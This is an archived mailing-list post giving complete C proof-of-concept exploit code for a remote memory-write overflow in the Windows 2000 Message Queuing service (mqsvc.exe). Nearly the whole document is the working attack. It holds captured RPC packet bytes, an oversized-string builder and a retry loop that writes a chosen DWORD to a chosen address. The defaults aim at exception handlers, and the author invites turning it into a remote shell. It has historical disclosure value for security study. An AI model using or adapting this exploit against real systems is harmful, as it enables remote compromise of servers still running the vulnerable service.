Here's p-o-c code for the allchin vulnerability. It allows you to write a (fairly) arbitrary DWORD to a (also fairly) arbitrary address in the memory space of mqsvc.exe on a remote w2k server. It should be straightforward enough to turn that into any kind of remote shell sploit using the standard well known techniques (e.g. overwrite an exception handler) but I haven't done so yet.


Interestingly enough, this works on sp2 but sp4 seems to be immune; I haven't tested sp3. I say 'interesting', because I can't find any reference to this bug having been fixed in the lists of bugs fixed in those service packs, but it's definitely been whacked in some way by sp4....

  cheers,
      DaveK

_________________________________________________________________
Express yourself with cool emoticons - download MSN Messenger today! http://www.msn.co.uk/messenger


/*

    A demonstration of the bug alluded to by Jim Allchin in his efforts to
 explain how appallingly badly coded some of the work on Micro$oft's
 enterprise-critical technologies truly is.  See

http://www.eweek.com/article2/0,3959,5264,00.asp

for details.

<quote>
"The fact that I even mentioned the Message Queuing thing bothers me," he said.
</quote>


Well, it shouldn't really. It only took half-an-hour's work to find this bug;
multiply that by time wasted on perhaps experimenting with a dozen or so of
the other M$ apis and you'll see that even without the hint, it wouldn't have
been hard to find; and of course, many of those other apis have their own
problems. Not disclosing it would have prevented absolutely nothing; trying
to send a long string to a search-by-name function is just so completely
obvious that secrecy gets you nowhere. YOU CAN'T HIDE ANYTHING FROM AN
INQUIRING MIND WITH A PACKET SNIFFER.[*]



(K) All Rites Reversed - Anti-copyright DaveK Oct 2003 Use as you will. Everything is possible and nothing is real. Please send improvements, bugfixes or ideas to blah spam davek AT hahaparse this nospambots redneck dot gacracker dot org you harvesters

[*] - This offer void where prohibited by law, or strong crypto.

*/


#include <Winsock2.h> #include <stdio.h>

#pragma comment (lib, "ws2_32.lib")

// Standard typedefs and structs from the Open Group's
// "Technical Standard DCE 1.1: Remote Procedure Call",
// [Document Number C706]

typedef unsigned char uchar;
typedef UUID    uuid_t;
typedef unsigned short p_context_id_t;
typedef struct {
   uuid_t  if_uuid;
   unsigned long if_version;
} p_syntax_id_t;

typedef struct {
   p_context_id_t  p_cont_id;
   unsigned char   n_transfer_syn;   /* number of items */
   unsigned char   reserved;         /* alignment pad, m.b.z. */
   p_syntax_id_t   abstract_syntax;  /* transfer syntax list */
   p_syntax_id_t   transfer_syntaxes[1];
} p_cont_elem_t;

typedef struct {
   unsigned char n_context_elem;   /* number of items */
   unsigned char reserved;         /* alignment pad, m.b.z. */
   u_short       reserved2;        /* alignment pad, m.b.z. */
   p_cont_elem_t p_cont_elem[1];
} p_cont_list_t;

// Here's the connectionless rpc pdu header.
typedef struct {
unsigned char rpc_vers; // = 4; /* RPC protocol major version (4 LSB only)*/
unsigned char ptype; /* Packet type (5 LSB only) */
unsigned char flags1; /* Packet flags */
unsigned char flags2; /* Packet flags */
char drep[3]; /* Data representation format label */
unsigned char serial_hi; /* High char of serial number */
uuid_t object; /* Object identifier */
uuid_t if_id; /* Interface identifier */
uuid_t act_id; /* Activity identifier */
unsigned long server_boot; /* Server boot time */
unsigned long if_vers; /* Interface version */
unsigned long seqnum; /* Sequence number */
unsigned short opnum; /* Operation number */
unsigned short ihint; /* Interface hint */
unsigned short ahint; /* Activity hint */
unsigned short len; /* Length of packet body */
unsigned short fragnum; /* Fragment number */
unsigned char auth_proto; /* Authentication protocol identifier*/
unsigned char serial_lo; /* Low char of serial number */
} dc_rpc_cl_pkt_hdr_t;


/* common header for all connection-oriented pdus  */
typedef struct {
   /* start 8-octet aligned */
   /* common fields */
   unsigned char rpc_vers;  // = 5; /* 00:01 RPC version */
   unsigned char rpc_vers_minor;    /* 01:01 minor version */
   unsigned char PTYPE;             /* 02:01 PDU type */
   unsigned char pfc_flags;         /* 03:01 flags */
   char          packed_drep[4];    /* 04:04 NDR data rep format label*/
   unsigned short frag_length;      /* 08:02 total length of fragment */
   unsigned short auth_length;      /* 10:02 length of auth_value */
   unsigned long call_id;           /* 12:04 call identifier */
   /* end common fields */
} rpcconn_common_hdr_t;

/* bind header (PTYPE = 11) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
unsigned short max_xmit_frag; /* 16:02 max transmit frag size, bytes */
unsigned short max_recv_frag; /* 18:02 max receive frag size, bytes */
unsigned long assoc_group_id; /* 20:04 incarnation of client-server
* assoc group */
/* presentation context list */
p_cont_list_t p_context_elem; /* 24:?? variable size */
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */
} rpcconn_bind_hdr_t;


/* request header (PTYPE = 0) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
/* needed on request, response, fault */
unsigned long alloc_hint; /* 16:04 allocation hint */
p_context_id_t p_cont_id; /* 20:02 pres context, i.e. data rep */
unsigned short opnum; /* 22:02 operation #
* within the interface */
/* optional field for request, only present if the PFC_OBJECT_UUID
* field is non-zero; specified in separate typedef below. */
/* uuid_t object; */ /* 24:16 object UID */
/* stub data, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_request_hdr_t;


/* request header (PTYPE = 0) with object field */
typedef struct {
   /* start 8-octet aligned */
   /* common fields */
   rpcconn_request_hdr_t  ob_req_hdr;
   /* optional field for request, assumes that PFC_OBJECT_UUID
   * field is non-zero */
   uuid_t object;                        /* 24:16 object UID */
   /* stub data, 8-octet aligned
   .
   .
   .*/
 // We don't bother to capture auth info yet.
   /* optional authentication verifier */
   /* following fields present iff auth_length != 0 */
   /* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_object_request_hdr_t;

/* response header (PTYPE = 2) */
typedef struct {
   /* start 8-octet aligned */
   /* common fields */
   rpcconn_common_hdr_t  pdu_hdr;
   /* end common fields */
   /* needed for request, response, fault */
   unsigned long alloc_hint;             /* 16:04 allocation hint */
   p_context_id_t p_cont_id;             /* 20:02 pres context, i.e.
   * data rep */
   /* needed for response or fault */
   unsigned char cancel_count;           /* 22:01 cancel count */
   unsigned char reserved;               /* 23:01 reserved, m.b.z. */
   /* stub data here, 8-octet aligned
   .
   .
   .*/
 // We don't bother to capture auth info yet.
   /* optional authentication verifier */
   /* following fields present iff auth_length != 0 */
   /* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_response_hdr_t;


// This is the bind request that we send to get the MSMQ rpc interface up.


/*

   Frame Number: '41'
   Header length: '20 bytes'
   Protocol: 'TCP (0x06)'
   Source: '(192.168.80.1)'
   Destination: '(192.168.80.5)'
   Source port: '(1356)'
   Destination port: '(2101)'
   Header length: '20 bytes'
   Version: '5'
   Version (minor): '0'
   Packet type: '0b)'
   Packet Flags: '03'
   Data Representation: '10000000'
   Frag Length: '72'
   Auth Length: '0'
   Call ID: '1'
   Max Xmit Frag: '5840'
   Max Recv Frag: '5840'
   Assoc Group: '00000000     ; 0x000219bf'
   Num Ctx Items: '1'
   Context ID: '1'
   Num Trans Items: '1'
   Interface UUID: '77df7a80-f298-11d0-8358-00a024c480a8'
   Interface Ver: '1'
   Interface Ver Minor: '0'
   Transfer Syntax: '8a885d04-1ceb-11c9-9fe8-08002b104860'
   Syntax ver: '2'

*/

unsigned char tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header[] = {
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0x80,0x7a,0xdf,0x77,0x98,0xf2,0xd0,0x11,0x83,0x58,0x00,0xa0,0x24,0xc4,0x80,0xa8,
0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};


//   This request must be the first sent once we have bound the interface.
// There is no corresponding function in the MQ api in the SDK; but opnum 22
// returns a 16-byte handle/guid/similar that needs to be part of the actual
// MQLocateBegin request that we synthesize later, so I'd call it something
// like MQOpenMQISHandle.  There's a corresponding close function, opnum 23,
// but we aren't going to bother with it.

/*

   Frame Number: '47'
   Header length: '20 bytes'
   Protocol: 'TCP (0x06)'
   Source: '(192.168.80.1)'
   Destination: '(192.168.80.5)'
   Source port: '(1356)'
   Destination port: '(2101)'
   Header length: '20 bytes'
   Version: '5'
   Version (minor): '0'
   Packet type: '00)'
   Packet Flags: '03'
   Data Representation: '10000000'
   Frag Length: '68'
   Auth Length: '0'
   Call ID: '2'
   Alloc hint: '44'
   Context ID: '1'
   Opnum: '22'
   Stub data '44 bytes)'
 [Inferred stub data offset $4e]

Appended 44 bytes of stub data from offset $004e

*/

unsigned char tcp_req_op_22_id_2_frame_47_header[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x2c,0x00,0x00,0x00,0x01,0x00,0x16,0x00
};


unsigned char tcp_req_op_22_id_2_frame_47_stubdata[] = {
0x51,0xcc,0xdb,0x57,0x38,0x1f,0x45,0x42,
0xb4,0xfc,0xc1,0x14,0xb3,0x3e,0x01,0xf7,0x00,0x00,0x00,0x00,0x2c,0xfc,0x11,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00
};


// And here we go. This is opnum 6, MQLocateBegin. The stubdata was derived
// from sniffing the wire while doing a series of MQLocateBegin/End operations
// with a string that got longer by one unicode 'A' each time. The string
// length is checked locally by the MQLocateBegin function before sending, but
// the mqsvc exe just assumes the data is valid because it assumes the packet
// was checked by the remote end before sending. BIG mistake.....!


/*

   Frame Number: '49'
   Header length: '20 bytes'
   Protocol: 'TCP (0x06)'
   Source: '(192.168.80.1)'
   Destination: '(192.168.80.5)'
   Source port: '(1356)'
   Destination port: '(2101)'
   Header length: '20 bytes'
   Version: '5'
   Version (minor): '0'
   Packet type: '00)'
   Packet Flags: '03'
   Data Representation: '10000000'
   Frag Length: '372'
   Auth Length: '0'
   Call ID: '3'
   Alloc hint: '348'
   Context ID: '1'
   Opnum: '6'
   Stub data '348 bytes)'
 [Inferred stub data offset $4e]

Appended 348 bytes of stub data from offset $004e

*/

unsigned char tcp_req_op_6_id_3_frame_49_header[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x74,0x01,0x00,0x00,0x03,0x00,0x00,0x00,
0x5c,0x01,0x00,0x00,0x01,0x00,0x06,0x00
};


unsigned char tcp_req_op_6_id_3_frame_49_stubdata[] = {
0x00,0x00,0x00,0x00,0xf8,0xfe,0x12,0x00,
0x01,0x00,0x00,0x00,0x00,0xff,0x12,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x04,0x00,0x00,0x00,0x6c,0x00,0x00,0x00,0x1f,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x1f,0x00,0x06,0x09,0xf0,0xfe,0x11,0x00,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x79,0x00,0x00,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x00,0x00,0x08,0x00,0x02,0x00,0x00,0x00,0xe0,0xfe,0x11,0x00,
0x02,0x00,0x00,0x00,0x65,0x00,0x00,0x00,0x6d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x6d,0xae,0x0c,0x34,0xe5,0xd7,0x11,0xa6,0xf4,0x00,0x50,
0x8b,0xfb,0x13,0x17
};



// Ok, here are three generic helper routines that I use in a lot of my code.
static inline const char * getfilenamepart (const char *ptr)
{
const char * fn;


        fn = ptr;
        while (*ptr)
        {
                if ((*ptr == '\\') || (*ptr == '/'))
                        fn = ptr + 1;
                ++ptr;
        }
        return fn;
}

static int parse_dotted_quad (const char *string, unsigned int *ipaddr, unsigned short *port)
{
unsigned int a, b, c, d, p;
int n, len;
unsigned int ad;
unsigned short po;


        a = b = c = d = p = len = 0;
        // FIXME: should perhaps handle ip addresses with only 1, 2 or 3 numeric
        // parts as well, as per definition of inet_addr; alas that function is
        // no use here because it fails if there is a ":port" suffix.
        len = -1;
 if (port)
        n = sscanf (string, "%i.%i.%i.%i:%i%n", &a, &b, &c, &d, &p, &len);
 else
   n = 0;
        // despite what it says in the SDK docs sscanf does not return the
        // number of fields scanned - only the number of conversions: %n is
        // a field scanned but not a conversion and doesn't get counted!
        if (n != 5)
        {
                n = sscanf (string, "%i.%i.%i.%i%n", &a, &b, &c, &d, &len);
                if (n != 4)
                        return 0;
        }
        // ok it looks valid, but in order not to be fooled by names like
        // 1.2.3.4.domain (isp host rDNS often looks like this) we must be
        // sure that the string end here with whitespace or eol or NUL
        if (!string[len] || isspace ((unsigned char)string[len])
                                                || (string[len] == '\r') || 
(string[len] == 'n'))
        {
                // hoorah! return ipaddr and port! in host order!
                ad = (a << 24) | (b << 16) | (c << 8) | d;
                po = (unsigned short)(p & 0xffff);
                if (ipaddr)
                        *ipaddr = ad;
                if (port && (n == 5))
                        *port = po;
                return len;
        }
        // failed
        return 0;
}

static int parse_hostnameport (const char *string, unsigned int *ipaddr, unsigned short *port, int resolve, int verbose, const char *banner)
{
int len;
unsigned int ad;
unsigned int po;
struct hostent FAR * FAR myhost;
char namepart[400];


        // skip wspc be nice
        while (isspace (*string))
                ++string;
        // we must see if there is a :port attached to the string end!
        len = 0;
        while ((string[len] != ':') && (string[len]) && !isspace (string[len]))
        {
                namepart[len] = string[len];
                ++len;
        }
        if (string[len] == ':')
        {
                sscanf (&string[len+1], "%d", &po);
                *port = po;
        }

        if (!resolve)
                return len;

namepart[len] = 0;
myhost = gethostbyname (namepart);
if ((verbose >= 2) || ((verbose == 1) && !myhost))
fprintf (stderr, "%sget host ip for name %s %s", banner, namepart, myhost ? "succeeds" : "fails\n");
if (!myhost)
return 0;
// so we gotta return an ip address then!
memcpy (&ad, myhost->h_addr_list[0], sizeof (ad));
// but we are a parse routine so return in host order
ad = ntohl (ad);
*ipaddr = ad;
if (verbose >= 2)
fprintf (stderr, " - %d.%d.%d.%d\n", ad >> 24, (ad >> 16) & 0xff,
(ad >> 8) & 0xff, ad & 0xff);
return len;
}


// Reads a dce reply; either discards it if no rcvbuf is
// specified, or supplies the first min (rcvsz, frag_len) bytes
// in the buffer you pass in.
int read_dce_reply (SOCKET sock, char *rcvbuf, int rcvsz)
{
char buffer[4096];
int amount, this_time, actual, rv;
rpcconn_common_hdr_t *hdr;

 // Read the fixed size header
 rv = recv (sock, buffer, sizeof *hdr, 0);
 if (rv != sizeof *hdr)
   return -1;
 hdr = (rpcconn_common_hdr_t *)buffer;
 amount = hdr->frag_length - sizeof *hdr;

 // copy as much hdr as wanted into rcvbuf
 if (rcvbuf && rcvsz)
 {
   this_time = (rcvsz >= sizeof *hdr) ? sizeof *hdr : rcvsz;
   memcpy (rcvbuf, buffer, this_time);
   rcvbuf += this_time;
   rcvsz -= this_time;
 }

 while (amount)
 {
   this_time = (amount >= 4096) ? 4096 : amount;
   actual = recv (sock, buffer, this_time, 0);
   if (actual <= 0)
     return -1;
   amount -= actual;
   // copy as much data as wanted into rcvbuf
   if (rcvbuf && rcvsz)
   {
     this_time = (rcvsz >= actual) ? actual : rcvsz;
     memcpy (rcvbuf, buffer, this_time);
     rcvbuf += this_time;
     rcvsz -= this_time;
   }
 }
 return 0;
}

// Assembles a DCE frag from a header and some stubdata, and
// sends it in one swell foop.
int send_dce_packet (const uchar *hdr, int hdrsz, const uchar *stubdat, int stubdatsz, SOCKET sock)
{
static char *packetbuf = NULL;
static int packetbufsz = 0;


if (!hdr || !hdrsz)
return -1;
if (!stubdatsz || !stubdat)
return send (sock, (const char *)hdr, hdrsz, 0) == hdrsz ? 0 : WSAGetLastError ();
// there are no stream markers in tcp so there is no strict need to send as one
// packet, but it will look better in a netsniffer display if we do.. so we do.
if (packetbufsz < (hdrsz + stubdatsz))
{
if (packetbuf)
free (packetbuf);
packetbuf = (char *) malloc (hdrsz + stubdatsz);
packetbufsz = packetbuf ? (hdrsz + stubdatsz) : 0;
if (!packetbuf)
return -1;
}
// assemble packet in buff
memcpy (packetbuf, hdr, hdrsz);
memcpy (packetbuf + hdrsz, stubdat, stubdatsz);
int rv = send (sock, packetbuf, hdrsz + stubdatsz, 0) == (hdrsz + stubdatsz) ? 0 : WSAGetLastError ();
//free (packetbuf);
return rv;
}


// Binds the MSMQ interface, opens a handle to the MQIS, then builds a packet
// that represents a MQLocateBegin operation, passing a single MQRESTRICTION
// on the PROPID_Q_LABEL property that tests for PREQ against an over-sized
// unicode string. The columnset data specifies we want the PROPID_Q_INSTANCE
// and PROPID_Q_CREATE_TIME data returned, but mqsvc.exe won't get that far.....
int test_overflow (int argc, const char **argv, int stringsize, DWORD addr2write, DWORD val2write, SOCKET insocket)
{
const char *hostname = argv[1];
int rv, err;
unsigned int ipaddr;
unsigned short port;
SOCKET sendsock;
char replybuf[4096];


if (!hostname)
return -1;
err = 0;
port = 0;
// the parse functions return host byte order; we convert
// to network byte order for use in sockaddr structure
if (parse_dotted_quad (hostname, &ipaddr, &port))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else if (parse_hostnameport (hostname, &ipaddr, &port, TRUE, 1, ""))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else
{
fprintf (stderr, "Can't resolve host! %s - %d", hostname, WSAGetLastError ());
return (-1);
}
if (insocket != INVALID_SOCKET)
sendsock = insocket;
else
sendsock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sendsock == INVALID_SOCKET)
{
fprintf (stderr, "Can't create socket! %s - %d", hostname, WSAGetLastError ());
return (-1);
}


 // default port:
 if (!port)
   port = htons (2101);

 // and setup the dest addr structure...
 struct sockaddr_in dest_addr;

 dest_addr.sin_addr.S_un.S_addr = ipaddr;
 dest_addr.sin_port = port;
 dest_addr.sin_family = AF_INET;
 memset (&dest_addr.sin_zero, 0, sizeof dest_addr.sin_zero);

 // try the connect!
 if (connect (sendsock, (sockaddr *)&dest_addr, sizeof dest_addr))
 {
   rv = WSAGetLastError ();
   if (insocket != INVALID_SOCKET)
     closesocket (sendsock);
   return rv;
 }

// and send the generated packets to the target
rv = send_dce_packet (tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
sizeof tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
NULL, 0, sendsock);


if (!rv)
rv = read_dce_reply (sendsock, NULL, 0);
if (!rv)
rv = send_dce_packet (tcp_req_op_22_id_2_frame_47_header,
sizeof tcp_req_op_22_id_2_frame_47_header, tcp_req_op_22_id_2_frame_47_stubdata,
sizeof tcp_req_op_22_id_2_frame_47_stubdata, sendsock);
// after the response pdu hdr comes 24 bytes reply stubdata:
// 1 dword 0 ?= reply status?, 16 bytes uuid/handle/suchlike, 1 DWORD 0 again.
if (!rv)
rv = read_dce_reply (sendsock, replybuf, 64);
if (!rv)
{


// The real question is how do we modify the data to send a longer
// string of L'A' as the search path?
// well, the main differences seem to be:
// There are two DWORD 0x00000079 that need to be changed to the new string len:
// they are at offsets 0x30 and 0x38 in the string. store the new # of A's
// there. Then append the string.
// The string length includes the terminating zero. So in the above case,
// we'd have 0x78 shorts of 0x0041 (unicode A) followed by a unicode 0 (nul-term).
// If the string len you chose was odd, add a short of padding as well to
// align the result.
// Then append the next 0x1c bytes taken from offset 0x130 in the sample packet
// finally append the 16 guid bytes you received earlier.


unsigned char *outbuf = NULL;
int stubsize = 0x3c + 2 * stringsize + (stringsize & 1 ? 2 : 0) + 0x2c;
outbuf = (unsigned char *) malloc (stubsize);
if (outbuf && !rv)
{
// Start assembling the stubdata for opnum 6.....
memcpy (outbuf, tcp_req_op_6_id_3_frame_49_stubdata, 0x30);
// write the string max count, offset and actual count, as per NDR for a
// conformant varying array of unicode chrs.
*(DWORD *)(outbuf + 0x30) = stringsize;
*(DWORD *)(outbuf + 0x34) = 0;
*(DWORD *)(outbuf + 0x38) = stringsize;
// Now assemble the string
short * unichrptr = (short *)(outbuf + 0x3c);
int n = stringsize - 1;
#if 0
while (n--)
*unichrptr++ = L'A';
#else
short unichr = 0x4101;
// lop off last 4 chrs for addr and val to write...
n -= 4;
// build remainder of overflow string
while (n--)
*unichrptr++ = unichr++;
// now the values to write
*unichrptr++ = (short)(val2write & 0xffff);
*unichrptr++ = (short)(val2write >> 16) & 0xffff;
*unichrptr++ = (short)(addr2write & 0xffff);
*unichrptr++ = (short)(addr2write >> 16) & 0xffff;
#endif
*unichrptr++ = L'\0';
// array may need padding to get everything 4-aligned again.
if (stringsize & 1)
*unichrptr++ = L'\0';
// Right. Append the remaining stub data from the opnum 6 call
unsigned char *chrptr = (unsigned char *)unichrptr;
memcpy (chrptr, tcp_req_op_6_id_3_frame_49_stubdata+0x130, 0x1c);
chrptr += 0x1c;
// and the mqis handle we received earlier
memcpy (chrptr, replybuf + sizeof rpcconn_response_hdr_t + 4, 16);
chrptr += 16;
// also we must set the frag length
rpcconn_request_hdr_t *hdr = (rpcconn_request_hdr_t *)tcp_req_op_6_id_3_frame_49_header;
hdr->alloc_hint = stubsize;
hdr->pdu_hdr.frag_length = stubsize + sizeof *hdr;
// We are good to go!
rv = send_dce_packet (tcp_req_op_6_id_3_frame_49_header,
sizeof tcp_req_op_6_id_3_frame_49_header, outbuf, chrptr - outbuf, sendsock);
// This will fail if the overflow succeeded; if however the string length we
// chose was too short, we'll get some kind of reply back and try again with
// a longer string.
if (!rv)
rv = read_dce_reply (sendsock, NULL, 0);
free (outbuf);
}
else if (outbuf)
free (outbuf);
}
// all done with the socket now
if (insocket != INVALID_SOCKET)
closesocket (sendsock);
return 0;
}


int usage (int argc, const char **argv)
{
const char * fn = getfilenamepart (argv[0]);
fprintf (stderr, "\nUsage:\n\n %s host[:port] addr2write val2write [strmin [strmax]]\n", fn);
fprintf (stderr, "\n");
fprintf (stderr, "Function:\n\n Writes an arbitrary DWORD value to an arbitrary location in the process\n");
fprintf (stderr, "memory of the mqsvc.exe on the remote machine. Tested on W2kASv/Sp2.\n");
fprintf (stderr, "Default values of strmin and strmax are 915, which works for me. Not all\n");
fprintf (stderr, "values for addr2write/val2write seem to work, though; there may be some\n");
fprintf (stderr, "filtering of the overflow string in some way.\n\n");
fprintf (stderr, " Note also that the default port used (2101) works reliably for me, but as\n");
fprintf (stderr, "there is an internal MSMQ rpc api operation (opnum 27) that returns this port\n");
fprintf (stderr, "number as a DWORD to the MQ client, it may be variable on different systems.\n\n");
return -1;
}


int main (int argc, const char **argv)
{
WSADATA mywinsock;
int rv = 0;

 WSAStartup (0xffff, &mywinsock);
 if (argc >= 2)
 {
   int strsize, maxstr;
   DWORD addr, val;

// hmm. as defaults, let's try and write an address of a jmp esi to an exception handler
#define JMPESI0 0x780296bb
#define JMPESI1 0x7801ad1c
#define HANDLER1 0x024dffe0
#define HANDLER2 0x024df7f8
#define HANDLER3 0x024df018
// 0x024cffe0
#define DUMMY 0x66554433


// nefr.  seems like it dont work with just any values.
// val is written first in string, addr second; seems not
// to be a good idea to have any 0x01/0x02 bytes. DUMMY
// passes fine as both addr and value.
//
// allchinbug testbed 0x77665544 0x8899aabb
//

   if ((argc < 3) || (sscanf (argv[2], "%i", &addr) != 1))
     addr = HANDLER1;
   if ((argc < 4) || (sscanf (argv[3], "%i", &val) != 1))
     val = DUMMY;  // DUMMY;  // JMPESI1;
   if ((argc < 5) || (sscanf (argv[4], "%d", &strsize) != 1))
     strsize = 915;
   if ((argc < 6) || (sscanf (argv[5], "%d", &maxstr) != 1))
     maxstr = 915;

   while (!rv)
   {
     rv = test_overflow (argc, argv, strsize, addr, val, INVALID_SOCKET);
     printf ("size %d ***rv %d***\n", strsize, rv);
     strsize++;
     if (strsize > maxstr)
       break;
   }
 }
 else
 {
   rv = usage (argc, argv);
 }
 // Exit gracefully.
        WSACleanup ();
        return rv;
}






Reply via email to